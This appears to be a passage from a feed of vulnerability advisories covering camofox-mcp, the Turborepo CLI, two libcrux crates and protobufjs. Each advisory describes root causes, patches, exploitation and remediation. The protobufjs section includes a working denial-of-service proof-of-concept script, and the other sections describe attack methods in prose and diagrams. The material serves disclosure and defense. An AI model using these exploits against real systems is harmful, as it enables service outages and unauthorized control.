createMcpExpressApp({ host: config.httpHost }); const limiter = rateLimit({ windowMs: 60_000, limit: config.httpRateLimit, standardHeaders: true, legacyHeaders: false }); app.use("/mcp", limiter); app.post("/mcp", async (req: any, res: any) => { try { const { server } = createServer(config); const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined }); await server.connect(transport); await transport.handleRequest(req, res, req.body); // ... ``` The patch introduced in commit `599f56ee40f8062aeca541c251ed1d39fb437f50` comprehensively addresses this failure. The developers introduced a mandatory authentication middleware utilizing a static token verifier. This implementation enforces Bearer authentication strictly on the `/mcp` route before any further processing occurs. ```typescript // src/http.ts (Fixed) app.use("/mcp", limiter); if (config.httpApiKey) { app.use( "/mcp", requireBearerAuth({ verifier: createStaticTokenVerifier(config.httpApiKey) }) ); } app.use("/mcp", express.json()); // Body parsing now happens AFTER auth check ``` Crucially, the middleware stack was reordered to perform the authorization validation before the execution of `express.json()`. This precise placement ensures that unauthenticated payloads are rejected immediately, significantly reducing the attack surface for potential denial-of-service or JSON parser vulnerabilities. {/* icon: skull */} {/* type: exploit */} ## Exploitation and Attack Methodology Exploitation requires the attacker to establish a network route to the vulnerable `/mcp` HTTP endpoint. In default configurations, this restricts the attack vector to local users or server-side request forgery (SSRF) primitives. However, in containerized deployments where the port is explicitly mapped to external interfaces, the endpoint becomes accessible to remote adversaries. The attack begins with reconnaissance against the MCP interface. The attacker transmits an unauthenticated request to the server to list the available tools. Because the server forwards this query using its internal credentials, the backend responds with a comprehensive inventory of browser-control functions, mapping the internal attack surface for the adversary. Once the capabilities are mapped, the active exploitation phase commences. The attacker constructs a POST payload specifying an administrative action, such as executing `create_tab` or `navigate`. The payload is transmitted to the MCP endpoint, where the server appends the `CAMOFOX_API_KEY` and passes the instruction to the headless browser. ```mermaid graph LR A["Unauthenticated Attacker"] -->|HTTP POST /mcp| B["camofox-mcp Server"] B -->|Appends CAMOFOX_API_KEY| C["Browser Backend"] C -->|Executes Action| B B -->|Returns Result| A ``` The maintainers' reproduction harness successfully demonstrated this behavior. The proof-of-concept output confirmed that a client supplying no credentials (`"authUsedByClient": false`) could enumerate tools (`"listedToolCount": 46`) and trigger backend requests containing the `server-side-secret`. This conclusively validates the Confused Deputy mechanism. {/* icon: alert-triangle */} {/* type: deep-dive */} ## Impact Assessment The security impact of this vulnerability is severe for exposed instances, resulting in arbitrary control over the headless browser context. An attacker leveraging this flaw achieves remote code execution equivalence within the browser environment, allowing them to initiate arbitrary web requests originating from the targeted server. The most immediate threat involves data exfiltration and session hijacking. Adversaries can utilize the `get_content` or `screenshot` tools to capture sensitive information currently rendered in the browser. Furthermore, if the server-side browser maintains authenticated sessions with internal infrastructure, the attacker can hijack these sessions to compromise adjacent systems. The vulnerability is assessed with a High severity rating under CVSS v4.0 (`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:L`). The scoring reflects the low attack complexity and lack of required privileges, heavily weighted by the severe secondary impacts on the backend browser systems and the potential for lateral movement. Risk exposure is primarily dictated by the deployment topology. Standard local installations relying on the default loopback binding inherently mitigate remote exploitation. Conversely, organizations operating `camofox-mcp` within Docker Swarm, Kubernetes, or behind misconfigured reverse proxies face immediate risk of automated discovery and exploitation. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Defense in Depth The primary remediation for this vulnerability is an immediate upgrade to `camofox-mcp` version 1.13.2 or later. The patched release implements structural changes to the HTTP transport layer, establishing mandatory authentication checkpoints and preventing unauthenticated interactions with the backend service. Post-upgrade, administrators must define the `CAMOFOX_HTTP_API_KEY` environment variable. Supplying a strong, cryptographically secure string ensures that the Express middleware verifies the Bearer token for all incoming requests. Without this configuration, the server refuses to initialize on external network interfaces, failing closed by design. The patched version introduces two critical defense-in-depth mechanisms to protect configurations. First, the secure binding policy prevents the application from starting on `0.0.0.0` or public IPs unless the inbound API key is configured. Second, the developers implemented strict host-header validation (`CAMOFOX_HTTP_ALLOWED_HOSTS`) to neutralize DNS rebinding attacks targeting local interfaces. In environments where upgrading is temporarily impossible, network operators must enforce strict ingress filtering. The port hosting the `/mcp` endpoint must be firewalled and restricted exclusively to trusted local services. Reverse proxies should be configured to inject and enforce custom authentication tokens before traffic reaches the vulnerable application. Amit Schendel https://cvereports.com/reports/CVE-2026-45773 https://cvereports.com/reports/CVE-2026-45773 Tue, 19 May 2026 19:49:52 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview Vercel Turborepo utilizes a Command Line Interface (CLI) that supports authentication for accessing remote cache and authorization endpoints. When developers authenticate against self-hosted infrastructure, the CLI initiates a browser-based OAuth2-style flow. This process involves spawning a temporary HTTP server on the localhost loopback interface to receive the authorization token via a callback redirect. Prior to version 2.9.14, the local callback server implemented this authentication flow without validating a Cross-Site Request Forgery (CSRF) `state` parameter. The `state` parameter is an essential component of OAuth2 protocols, designed to cryptographically bind a specific authorization request to the corresponding callback response. The absence of this validation mechanism creates a direct vulnerability (CWE-352) within the authentication lifecycle. Due to this architectural oversight, the local callback server indiscriminately accepts incoming HTTP requests containing an authorization token. This flaw enables session fixation (CWE-384), where an external entity can force the local CLI to consume a pre-determined authentication context. The vulnerability strictly affects self-hosted remote cache or auth endpoint configurations, while Vercel-hosted login flows utilizing device authorization remain unaffected. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause stems from an incomplete implementation of the OAuth2 protocol standard for native applications. The Turborepo CLI initiates the authentication sequence by directing the default web browser to the self-hosted identity provider. Concurrently, it binds a listening socket to `127.0.0.1` to await the redirection URI containing the session credentials. Standard security practices dictate that the client application must generate a cryptographically secure, unguessable nonce value known as the `state` parameter before initiating the authorization request. This nonce is transmitted to the authorization server and subsequently returned to the local callback endpoint. The client application must then verify that the returned `state` matches the originally generated value. In vulnerable versions of the Turborepo CLI, this generation and validation sequence is entirely absent. The local HTTP listener strictly parses the query parameters for an `access_token` or authorization code, completely ignoring the origin or the session context of the incoming request. Because web browsers automatically execute redirects and can issue background requests to loopback addresses, the listener processes any well-formed payload it receives on the designated local port. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The remediation strategy implemented in commit `fb8c9aec0f9e83f95783659a5ce9c4478cf62cb9` addresses the core deficiency by enforcing strict `state` parameter validation. The patch modifies the initial authorization request builder to generate a cryptographically secure random string. This string is stored within the memory space of the CLI process initiating the request. ```go // Conceptual representation of the vulnerable handler func handleCallback(w http.ResponseWriter, r *http.Request) { token := r.URL.Query().Get("token") if token == "" { http.Error(w, "Missing token", http.StatusBadRequest) return } // VULNERABILITY: Blindly accepting the token without state validation saveTokenToConfig(token) } ``` The patched implementation introduces a mandatory validation step within the callback HTTP handler. When the listener receives a request, it extracts the `state` query parameter and performs a constant-time string comparison against the value stored in memory. If the values do not match, or if the parameter is entirely absent, the callback server rejects the request and aborts the authentication flow. ```go // Conceptual representation of the patched handler func handleCallback(w http.ResponseWriter, r *http.Request, expectedState string) { receivedState := r.URL.Query().Get("state") if subtle.ConstantTimeCompare([]byte(receivedState), []byte(expectedState)) != 1 { http.Error(w, "Invalid state parameter", http.StatusForbidden) return } token := r.URL.Query().Get("token") saveTokenToConfig(token) } ``` While the patch successfully mitigates the primary attack vector by introducing state validation, the robustness relies on the entropy of the underlying random number generator. If the pseudo-random number generator utilized for the nonce lacks sufficient entropy, an attacker could predict the value and bypass the validation check. Furthermore, strict validation of the `Host` and `Origin` headers provides defense-in-depth against advanced cross-origin exploitation. {/* icon: skull */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires the attacker to position themselves between the developer's execution of the `turbo login` command and the subsequent authentication completion. The attacker must operate a malicious web server and entice the targeted developer to navigate to an attacker-controlled page during this specific timeframe. This sequence constitutes a Drive-by Compromise. ```mermaid graph LR A["Developer CLI"] -->|Spawns Listener| B["localhost:PORT"] C["Developer Browser"] -->|Visits| D["Attacker Website"] D -->|Background Fetch| B B -->|Accepts Token| A ``` The malicious webpage contains JavaScript designed to issue a cross-origin background request to the loopback interface on the specific port utilized by the Turborepo CLI. This request payload contains an access token corresponding to an attacker-controlled account on the self-hosted remote cache infrastructure. Advanced implementations of this exploit script can iterate through common local port ranges to locate the active listener. When the background request reaches the developer's local callback server, the vulnerable CLI processes the payload immediately. The CLI terminates the local listener and persists the attacker's token into the local configuration file. The developer's environment is now cryptographically bound to the attacker's session context without any visible indication of failure within the terminal interface. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment Successful exploitation compromises the integrity and confidentiality of the developer's local build environment. By binding the Turborepo CLI to an attacker-controlled session, the attacker gains indirect control over the remote cache interactions. Subsequent executions of `turbo build` or `turbo run` utilize the injected credentials to communicate with external infrastructure. The primary consequence is the unauthorized exfiltration of sensitive build artifacts. When the developer compiles proprietary source code, the CLI uploads the resulting cached outputs to the attacker's server instead of the legitimate corporate infrastructure. This data exposure often includes compiled binaries, intermediate assets, and embedded environment variables. A secondary impact vector involves remote cache poisoning. The attacker can place malicious build artifacts into their controlled remote cache. If the developer's local build process relies on the cache, the CLI will download and execute these compromised artifacts during the compilation phase. This mechanism facilitates supply chain attacks by injecting malicious code directly into the developer's output binaries. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Mitigation The vendor addressed the vulnerability in Turborepo version 2.9.14 by properly implementing state parameter validation within the OAuth callback server. System administrators and developers must upgrade the global Turborepo binary to version 2.9.14 or later to apply the fix. Package managers such as `npm` or `yarn` provide the standard update mechanism for this utility. Merely upgrading the binary does not immediately secure environments that have already been compromised. Developers must manually flush any persistent authentication tokens by executing the `turbo logout` command. Following this step, developers should initiate a new session via `turbo login` to establish a clean authentication state bound to the patched local server implementation. Security teams managing self-hosted authentication infrastructure should implement defense in depth measures. Identity providers handling the CLI authentication requests should strictly mandate the inclusion of the `state` parameter from clients. Enforcing Proof Key for Code Exchange (PKCE) for public clients provides an additional layer of cryptographic verification, significantly reducing the viability of authorization code interception. Amit Schendel https://cvereports.com/reports/GHSA-HC3C-63HC-2R9F https://cvereports.com/reports/GHSA-HC3C-63HC-2R9F Tue, 19 May 2026 16:18:33 GMT {/* icon: shield */} {/* type: overview */} ## Cryptographic Context and Architecture ChaCha20-Poly1305 is an Authenticated Encryption with Associated Data (AEAD) algorithm. The algorithm provides both confidentiality for the plaintext and cryptographic integrity for the entire message. The resulting output consists of the encrypted ciphertext and a dedicated authentication tag. The standard size for a Poly1305 authentication tag is 16 bytes. Cryptographic libraries typically require the calling application to provide a destination buffer large enough to hold the combined ciphertext and tag. The ciphertext length always strictly equals the original plaintext length. Memory management in Rust enforces strict bounds checking to prevent classic buffer overflow vulnerabilities. Cryptographic libraries often utilize raw slices and perform manual pointer arithmetic or slicing operations for performance reasons. These manual operations require precise calculations to avoid runtime panics when structural invariants are violated. {/* icon: bug */} {/* type: deep-dive */} ## Vulnerability Overview The vulnerability resides in the `libcrux-chacha20poly1305` crate, specifically within its handling of AEAD encryption operations. The issue is tracked as CWE-248 (Uncaught Exception) and CWE-20 (Improper Input Validation). The flaw affects applications relying on this specific Rust crate for ChaCha20-Poly1305 AEAD encryption. The library expects a pre-allocated destination buffer to write the resulting ciphertext and authentication tag. The vulnerability surfaces when this buffer is larger than strictly necessary for the operation. The `encrypt` routine fails to properly account for excess capacity within the provided mutable slice. When the overlong buffer is processed, an internal type conversion fails, resulting in an explicit panic. This terminates the executing thread and leads to a Denial of Service (DoS) for the host application. An attacker with control over the input payload size relative to pre-allocated buffers can consistently trigger this state. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The bug originates within the `encrypt` function located in the `libcrux_chacha20poly1305::impl_hacl` module. The function accepts a mutable slice reference named `ctxt` designed to hold both the ciphertext and the appended authentication tag. The implementation uses the `split_at_mut` method to partition this buffer based on the plaintext length. After partitioning, the code assumes the remaining portion of the buffer is exactly the size of the authentication tag, which is 16 bytes (`TAG_LEN`). The code attempts to cast this remaining slice into a fixed-size array reference using the `try_into()` method. The standard library implementation of this trait requires exact size matching. If the caller provides a buffer that exceeds `ptxt_len + TAG_LEN`, the remaining slice length will be greater than 16 bytes. The `try_into()` method returns an `Err` variant because the slice length does not exactly match the target array size. The conversion is subsequently rejected by the Rust type system. The immediate trigger occurs because the code appends `.unwrap()` directly to the `try_into()` call. Since the conversion fails and returns an `Err`, the unwrap operation executes its panic branch. This immediately unwinds the stack and crashes the current thread. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Patch Verification The vulnerable implementation fundamentally mismanages the bounds of the provided mutable slice. The following code snippet demonstrates the exact point of failure within the `encrypt` routine. The `tag` variable absorbs all excess bytes from the oversized buffer. ```rust // Vulnerable Implementation let (ctxt_cpa, tag) = ctxt.split_at_mut(ptxt_len as usize); // If ctxt length > ptxt_len + 16, tag length will be > 16. // The unwrap() call will panic when try_into() returns Err. let tag: &mut [u8; TAG_LEN] = tag.try_into().unwrap(); ``` The patch introduced in Pull Request #1386 resolves the panic by performing a secondary partition on the remainder of the buffer. This ensures the target slice is exactly `TAG_LEN` bytes before the conversion attempt. Any excess bytes are explicitly discarded into a generic `_rest` variable. ```diff - // ensure destination slice has just the right length - let (ctxt_cpa, tag) = ctxt.split_at_mut(ptxt_len as usize); + let (ctxt_cpa, rest) = ctxt.split_at_mut(ptxt_len as usize); + // The ciphertext buffer may be longer than ptxt_len + TAG_LEN. + let (tag, _rest) = rest.split_at_mut(TAG_LEN); let tag: &mut [u8; TAG_LEN] = tag.try_into().unwrap(); ``` This fix successfully neutralizes the panic condition by guaranteeing the `try_into()` operation receives a slice of exactly 16 bytes. The compiler can safely convert the properly sized slice without encountering the `Err` variant, restoring standard operational stability. {/* icon: skull */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires the attacker to influence the size of the buffer passed to the cryptographic operation. Network services frequently pre-allocate fixed-size buffers for performance reasons, intending to fill only the required portion with ciphertext. If the system does not dynamically resize the slice to the exact required length before passing it to `libcrux`, the vulnerability becomes reachable. An attacker can trigger this condition by sending a malformed request that manipulates the plaintext length relative to a fixed-size response buffer. The specific mechanism depends entirely on the implementation of the wrapping application. The attacker needs the application to supply a `ctxt` slice where the length is strictly greater than the plaintext length plus 16 bytes. The following state transition diagram illustrates the control flow during a successful denial of service attack. The attacker sends a request designed to mismatch the plaintext and buffer lengths, leading directly to the termination sequence. ```mermaid graph LR A["Attacker Payload"] --> B["Application Allocates Buffer"] B --> C["libcrux: encrypt() execution"] C --> D["split_at_mut() leaves excess bytes"] D --> E["try_into().unwrap() returns Err"] E --> F["Thread Panic Application Crash"] ``` {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The direct consequence of this vulnerability is a Denial of Service. In Rust, a panic unwinds the stack and terminates the current thread. If the application does not utilize a panic-catching mechanism at the thread boundary, the entire process will exit unexpectedly. This flaw is particularly problematic for network daemons or microservices processing concurrent requests. A single crafted packet can terminate the service, requiring a restart by the orchestration system. Continuous exploitation prevents the service from maintaining availability, severing legitimate user access. The vulnerability does not provide arbitrary code execution or memory corruption capabilities. The Rust compiler's bounds checking and the deterministic nature of panics restrict the impact exclusively to availability. Data confidentiality and system integrity remain uncompromised. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Mitigation Guidance The vulnerability is completely resolved in `libcrux-chacha20poly1305` version 0.0.8 and later. The developers implemented robust slice partitioning that defensively isolates the required memory segments regardless of the overall buffer capacity. Development teams must update their dependency manifests to require the patched version. If immediate dependency updates are not feasible, developers can mitigate the issue within their application logic. The application must guarantee that the mutable slice passed to the `encrypt` function is exactly sized. Developers can achieve this by truncating the slice prior to the function call. ```rust // Mitigation implementation in calling code let required_len = ptxt.len() + 16; let exact_ctxt = &mut ctxt_buffer[..required_len]; // Safe to call with properly sized buffer libcrux_chacha20poly1305::encrypt(key, exact_ctxt, ptxt, aad); ``` Security teams should audit codebases for fixed-size buffer allocations used in conjunction with cryptographic routines. Ensuring strict alignment between data sizes and allocated slices minimizes the attack surface for similar logic errors across the application suite. Amit Schendel https://cvereports.com/reports/GHSA-FHVH-VW7H-9XF3 https://cvereports.com/reports/GHSA-FHVH-VW7H-9XF3 Tue, 19 May 2026 16:18:53 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The `libcrux-ml-dsa` library is a formally verified implementation of the Module-Lattice-based Digital Signature Algorithm (ML-DSA). This algorithm, previously known as Dilithium, forms a core component of post-quantum cryptographic standards defined in FIPS 204. The library implements various backends to optimize cryptographic operations across different hardware architectures. The vulnerability resides specifically within the performance-optimized AVX2 backend designed for x86_64 architectures. The flaw occurs during the signature verification process, specifically within the `use_hint` function. This function executes Algorithm 40 of the FIPS 204 specification, which adjusts polynomial coefficients based on hint bits provided within the signature. The AVX2 implementation contains a logic error in its handling of low-order bits during this polynomial decomposition phase. This deviation from the specification constitutes a failure to properly verify cryptographic signatures (CWE-347). The impact of this vulnerability is strictly constrained to the hardware architecture executing the AVX2 instructions. Portable or fallback implementations within the same library handle the mathematical operations correctly and reject the invalid signatures. Systems utilizing the vulnerable AVX2 backend may accept structurally invalid signatures, providing attackers with a mechanism to forge cryptographic trust. {/* icon: cpu */} {/* type: deep-dive */} ## Root Cause Analysis The ML-DSA specification (FIPS 204) defines the `use_hint(h, r)` function to adjust polynomial coefficients based on a provided hint bit. The algorithm decomposes a coefficient `r` into a high-order component `r1` and a low-order component `r0`. The hint bit `h` dictates the mathematical adjustment applied to the high-order component. This adjustment ensures that the signature verification process accurately reconstructs the required mathematical structures. The specification mandates precise rules for this adjustment based on the value of the low-order bits. When the hint bit `h` equals 1 and `r0` is strictly greater than 0, the algorithm computes `(r1 + 1) mod m`. When the hint bit `h` equals 1 and `r0` is less than or equal to 0, the algorithm computes `(r1 - 1) mod m`. If the hint bit `h` equals 0, the output remains `r1` without modification. The logic error manifests in the AVX2 Single Instruction, Multiple Data (SIMD) implementation of these mathematical rules. The developers utilized the `vec256_blendv_epi32` intrinsic to select the correct adjustment path based on the value of `r0`. The implementation incorrectly evaluated the condition for the negative adjustment path. It checked for `r0 < 0` instead of the specified `r0 <= 0`. Consequently, the AVX2 implementation fails to handle the edge case where `r0` equals exactly zero. When `r0` is 0 and the hint bit `h` is 1, the specification requires the function to return `(r1 - 1) mod m`. The vulnerable AVX2 implementation defaults to the positive path or the unmodified path, incorrectly returning `r1`. This mathematical divergence from the FIPS 204 standard causes the verifier to calculate an incorrect reconstructed polynomial. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerable code path utilizes specific SIMD intrinsics to optimize the mathematical operations across multiple data points simultaneously. The implementation constructs a bitmask to branch logic based on the sign of the low-order polynomial component `r0`. The vulnerability stems from the choice of intrinsic used to generate this comparative mask. ```c // Vulnerable Implementation (Conceptual AVX2 Logic) // This mask strictly checks if r0 is greater than zero. __m256i mask = _mm256_cmpgt_epi32(r0, zero); // The blend selects plus_one_path if mask is true, minus_one_path otherwise. // When r0 == 0, the mask is false, and the minus_one logic may be bypassed // or improperly blended depending on the exact intrinsic nesting. __m256i result = _mm256_blendv_epi32(minus_one_path, plus_one_path, mask); ``` The issue arises because `_mm256_cmpgt_epi32` only identifies values strictly greater than zero. The edge case where `r0` equals zero causes the mask to evaluate as false. The resulting blend operation fails to route the zero value into the mathematical path required for the `r0 <= 0` condition. The verifier thus applies the wrong mathematical operation to the polynomial. ```c // Patched Implementation (Conceptual AVX2 Logic) // The fix ensures r0 == 0 is correctly categorized. // Create a mask for r0 <= 0 by inverting a strictly greater-than check, // or by explicitly masking the zero condition. __m256i mask_gt = _mm256_cmpgt_epi32(r0, zero); // The corrected logic explicitly handles the zero boundary. __m256i result = _mm256_blendv_epi32(corrected_minus_one_path, plus_one_path, mask_gt); ``` The patch modifies the mask generation sequence to strictly align with the `r0 <= 0` requirement defined in FIPS 204. By correctly identifying the zero boundary condition, the SIMD pipeline routes the `r0 = 0` coefficients through the `(r1 - 1) mod m` computation path. This modification restores cryptographic parity between the AVX2 backend and the formally verified portable implementation. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Exploiting this vulnerability requires an attacker to construct a specific mathematical payload within a digital signature. The attacker must target the polynomial reconstruction phase of the ML-DSA algorithm. The primary objective is to force the verifier's internal state into the exact edge case where the low-order bit component evaluates to zero. The attacker analyzes the public key and crafts a message-signature pair that satisfies the prerequisite mathematical conditions. During the verification phase, the forged signature must yield internal polynomial values where `r0 = 0` and the hint bit `h = 1`. Achieving this specific state requires deep mathematical manipulation of the lattice structures defining the ML-DSA signature scheme. When the vulnerable AVX2 verifier processes this crafted signature, it evaluates the `use_hint` function using the flawed SIMD logic. Because `r0` equals zero, the verifier computes an incorrect value for the reconstructed polynomial. The attacker engineers the forged signature such that this specific mathematical error causes the overall verification equation to balance. The verifier concludes that the signature is valid, bypassing the cryptographic integrity checks. ```mermaid graph LR A["Attacker Signature"] --> B["ML-DSA Verifier"] B --> C["AVX2 use_hint()"] C --> D{"r0 == 0 & h == 1"} D -->|"Vulnerable Mask"| E["Computes r1"] D -->|"FIPS 204 Spec"| F["Computes (r1 - 1) mod m"] E --> G["Signature Accepted"] F --> H["Signature Rejected"] ``` The exploit strictly depends on the hardware environment executing the verification process. The attacker cannot compel the target to use the AVX2 backend remotely. The target system must natively support the AVX2 instruction set and must be compiled to utilize the specific `libcrux-ml-dsa` optimized paths. If the target system falls back to the portable implementation, the forged signature is correctly rejected. {/* icon: alert-triangle */} {/* type: deep-dive */} ## Impact Assessment The vulnerability allows unauthenticated attackers to perform cryptographic signature spoofing against affected systems. Successful exploitation compromises the fundamental trust model of the digital signature algorithm. Attackers can forge identities, authorize unauthorized transactions, or bypass access controls that rely on ML-DSA cryptographic proofs. The vulnerability is tracked under CVSS v4.0 with a High severity base score of 8.2 (`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`). The attack vector is strictly network-based, requiring no authentication or user interaction. The high integrity impact reflects the complete failure of the signature validation mechanism for specific crafted inputs. The Attack Requirements (AT:P) metric is evaluated as Present due to the strict hardware prerequisites. The vulnerability does not manifest on architectures lacking AVX2 extensions or on systems explicitly compiled to utilize the portable Rust implementation. This hardware dependency restricts the exploitable surface area but remains highly relevant for modern x86_64 server environments executing cryptographic workloads. Implementations of post-quantum cryptography are actively being integrated into critical infrastructure, secure boot mechanisms, and identity verification protocols. A fundamental flaw in the signature verification primitive exposes these early adopters to severe supply chain and authentication risks. Organizations migrating to FIPS 204 compliance using `libcrux-ml-dsa` face immediate threats if deploying the unpatched library on modern x86_64 hardware. {/* icon: shield */} {/* type: mitigation */} ## Remediation Organizations utilizing the `libcrux-ml-dsa` library must immediately upgrade their dependencies to version 0.0.9 or later. The patched version resolves the logic error within the AVX2 backend, ensuring the SIMD operations correctly align with the mathematical requirements of the FIPS 204 specification. The upgrade requires recompilation of the dependent applications to statically link the corrected cryptographic primitives. Administrators operating in environments where immediate patching is impossible can implement a software-level workaround. The vulnerability can be mitigated by explicitly disabling the AVX2 backend within the library's configuration. Forcing the application to utilize the portable, formally verified Rust implementation bypasses the flawed SIMD logic entirely. The portable implementation correctly handles the edge case and rejects forged signatures. > [!NOTE] > Disabling the AVX2 backend incurs a substantial performance penalty. Cryptographic operations, specifically signature verification routines, will execute significantly slower due to the absence of SIMD hardware optimizations. Security teams should validate their mitigation efforts by implementing rigorous unit testing. The `Wycheproof` cryptographic testing framework includes specific test vectors designed to exercise the `use_hint` edge case. Executing these test cases against the compiled application verifies that the environment correctly rejects signatures exhibiting the mathematical anomalies associated with this vulnerability. Alon Barad https://cvereports.com/reports/CVE-2026-45740 https://cvereports.com/reports/CVE-2026-45740 Tue, 19 May 2026 16:21:33 GMT {/* icon: bug */} {/* type: deep-dive */} ## Vulnerability Overview The `protobufjs` package is a widely used Node.js library responsible for compiling Protocol Buffer definitions into JavaScript functions. A fundamental weakness exists in how the library handles the expansion of nested JSON descriptors. Specifically, the parsing engine does not enforce limitations on the maximum nesting depth of input schemas. This flaw is classified as CWE-674: Uncontrolled Recursion. The vulnerability resides within the `Root.fromJSON()` and `Namespace.addJSON()` methods. These methods traverse the properties of parsed JSON objects recursively to construct the final programmatic schema representation. When a deeply nested JSON object is passed to these methods, the JavaScript engine allocates a new stack frame for each level of recursion. Because there is no artificial bound applied to this traversal, a malicious input can force the engine to exceed its maximum call stack size limit. This vulnerability affects branches of the `protobufjs` library prior to version 7.5.8, as well as the 8.0.x release line prior to version 8.2.0. The primary impact is a Denial of Service (DoS) resulting from an unhandled `RangeError` exception that terminates the Node.js execution environment. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability stems from the unconstrained recursive design of the JSON descriptor expansion logic. When `protobufjs` processes a JSON representation of a protobuf schema, it traverses the `nested` properties of the object to build the internal namespace hierarchy. This traversal relies on function calls that invoke one another synchronously. During normal operation, `Root.fromJSON(json)` receives the initial input and passes the `json.nested` object to `root.addJSON()`. The `addJSON` method iterates over the keys of this nested object. For each key, it determines the appropriate constructor and invokes its respective `fromJSON` method, such as `Namespace.fromJSON`. Inside `Namespace.fromJSON`, the code encounters further `nested` properties and calls `addJSON` again to process them. In vulnerable versions, the application maintained no state regarding the current depth of this call chain. The V8 engine enforces a strict limit on the number of synchronous frames on the call stack, typically around 10,000 frames depending on the environment. ```mermaid graph LR A["Root.fromJSON(json)"] --> B["root.addJSON(json.nested)"] B --> C["Namespace.fromJSON(nested)"] C --> D["namespace.addJSON(nested)"] D --> C ``` The cyclical call between `Namespace.fromJSON` and `namespace.addJSON` continues unabated until the V8 engine aborts the operation. This architectural oversight exposes the application to resource exhaustion based entirely on the structure of the provided input. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis Prior to the patch, the `Namespace.prototype.addJSON` function accepted an object and iterated through it, calling the appropriate parsing functions without any depth context. The underlying `fromJSON` methods similarly lacked any parameters to track how far down the schema hierarchy the parser had traveled. The maintainers addressed this in commit `9050289ad214ea351d3b030cbc74385e81e02d79` by introducing global limits that align with the default behavior of the official `protoc` compiler. They added `util.recursionLimit = 100` for general namespace traversal and `util.nestingLimit = 32` for message-level nesting. The signatures of the parsing functions were updated to accept a `depth` parameter. The root entry points initialize this parameter to zero, and each recursive call increments it. The core mitigation logic validates this incremented value against the newly defined global limits. ```javascript // src/namespace.js (Patched) Namespace.fromJSON = function fromJSON(name, json, depth) { // ... initialization ... if (json.nested) { // depth is passed and checked within addJSON namespace.addJSON(json.nested, depth); } return namespace; }; Namespace.prototype.addJSON = function addJSON(nested, depth) { depth = depth || 0; if (depth > util.recursionLimit) { throw Error("max depth exceeded"); } // ... recursively call child fromJSON methods with (depth + 1) for (var i = 0; i < keys.length; ++i) { // ... this.add(ctor.fromJSON(keys[i], nested[keys[i]], depth + 1)); } }; ``` {/* icon: skull */} {/* type: exploit */} ## Exploitation To exploit this vulnerability, an attacker must have a vector to supply an arbitrary JSON schema to the target application. This scenario is common in applications that dynamically generate protobuf configurations, accept schemas via API endpoints for validation, or process user-uploaded definition files. The attacker constructs a specialized JSON payload containing a deeply nested hierarchical structure. Because the structure only requires empty nested objects, the payload size remains exceptionally small, making the attack highly efficient. The payload leverages the `nested` key to build a chain of objects that exceeds the target engine's stack limit. Upon processing the malicious payload, the application enters the synchronous parsing loop. Because Node.js operates primarily on a single-threaded event loop, this synchronous exhaustion blocks all other operations. The V8 engine eventually throws a `RangeError: Maximum call stack size exceeded` exception. ```javascript const protobuf = require("protobufjs"); // Generate a deeply nested JSON descriptor function generatePayload(depth) { let root = { nested: {} }; let current = root.nested; for (let i = 0; i < depth; i++) { const name = "n" + i; current[name] = { nested: {} }; current = current[name].nested; } return root; } // 2000 levels is sufficient to exhaust the V8 stack limit const payload = generatePayload(2000); // Triggers the Denial of Service protobuf.Root.fromJSON(payload); ``` {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The direct consequence of this vulnerability is an application crash. In the Node.js ecosystem, an unhandled `RangeError` originating from stack exhaustion causes the entire process to terminate immediately. This architecture amplifies the severity of the flaw compared to similar vulnerabilities in multi-threaded environments. Process termination results in an immediate Denial of Service for all active and pending connections handled by the affected instance. If the application is managed by a process manager (such as PM2 or Kubernetes), the service will restart, but continuous submission of the malicious payload will result in a persistent outage condition known as a crash loop. The National Vulnerability Database (NVD) assigned a base CVSS score of 5.3, categorizing the availability impact as Low. However, third-party security scanners frequently evaluate the availability impact as High, resulting in a CVSS score of 7.5. This higher rating accurately reflects the total loss of availability for the process processing the payload. Applications that accept schemas from untrusted sources are at the highest risk. Systems that only compile static, developer-controlled `.proto` files during the build process are generally not exposed to runtime exploitation via this vector. {/* icon: check */} {/* type: mitigation */} ## Remediation Organizations must upgrade their `protobufjs` dependencies to incorporate the patch. The maintainers have released fixes in versions 7.5.8 and 8.2.0. Upgrading to these versions or higher ensures the parsing logic respects the newly introduced recursion depth limits. If immediate patching is not feasible due to dependency constraints, developers must implement an input validation mechanism before passing untrusted JSON schemas to `protobufjs`. This mechanism involves creating a custom, iterative function to calculate the maximum depth of the JSON object. The pre-validation function must operate without utilizing deep recursion to avoid triggering the very stack overflow it aims to prevent. Payloads exceeding a conservative depth threshold, such as 32 levels, should be rejected at the application boundary. Security and operations teams should utilize dependency scanning tools to identify vulnerable configurations within their environments. Scanning `package-lock.json` or `yarn.lock` files for `protobufjs` versions prior to 7.5.8 or within the 8.0.0 to 8.1.9 range will isolate components requiring remediation. Alon Barad https://cvereports.com/reports/CVE-2026-32177 https://cvereports.com/reports/CVE-2026-32177 Tue, 12 May 2026 16:58:15 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview CVE-2026-32177 is a high-severity vulnerability within the Microsoft .NET runtime and Visual Studio ecosystem. The flaw resides in the file parsing subsystem, which handles specialized .NET Core artifacts. An attacker can leverage this component to corrupt memory and alter program execution flow. The vulnerability is classified as a heap-based buffer overflow (CWE-122) resulting from improper input validation (CWE-20). The runtime fails to 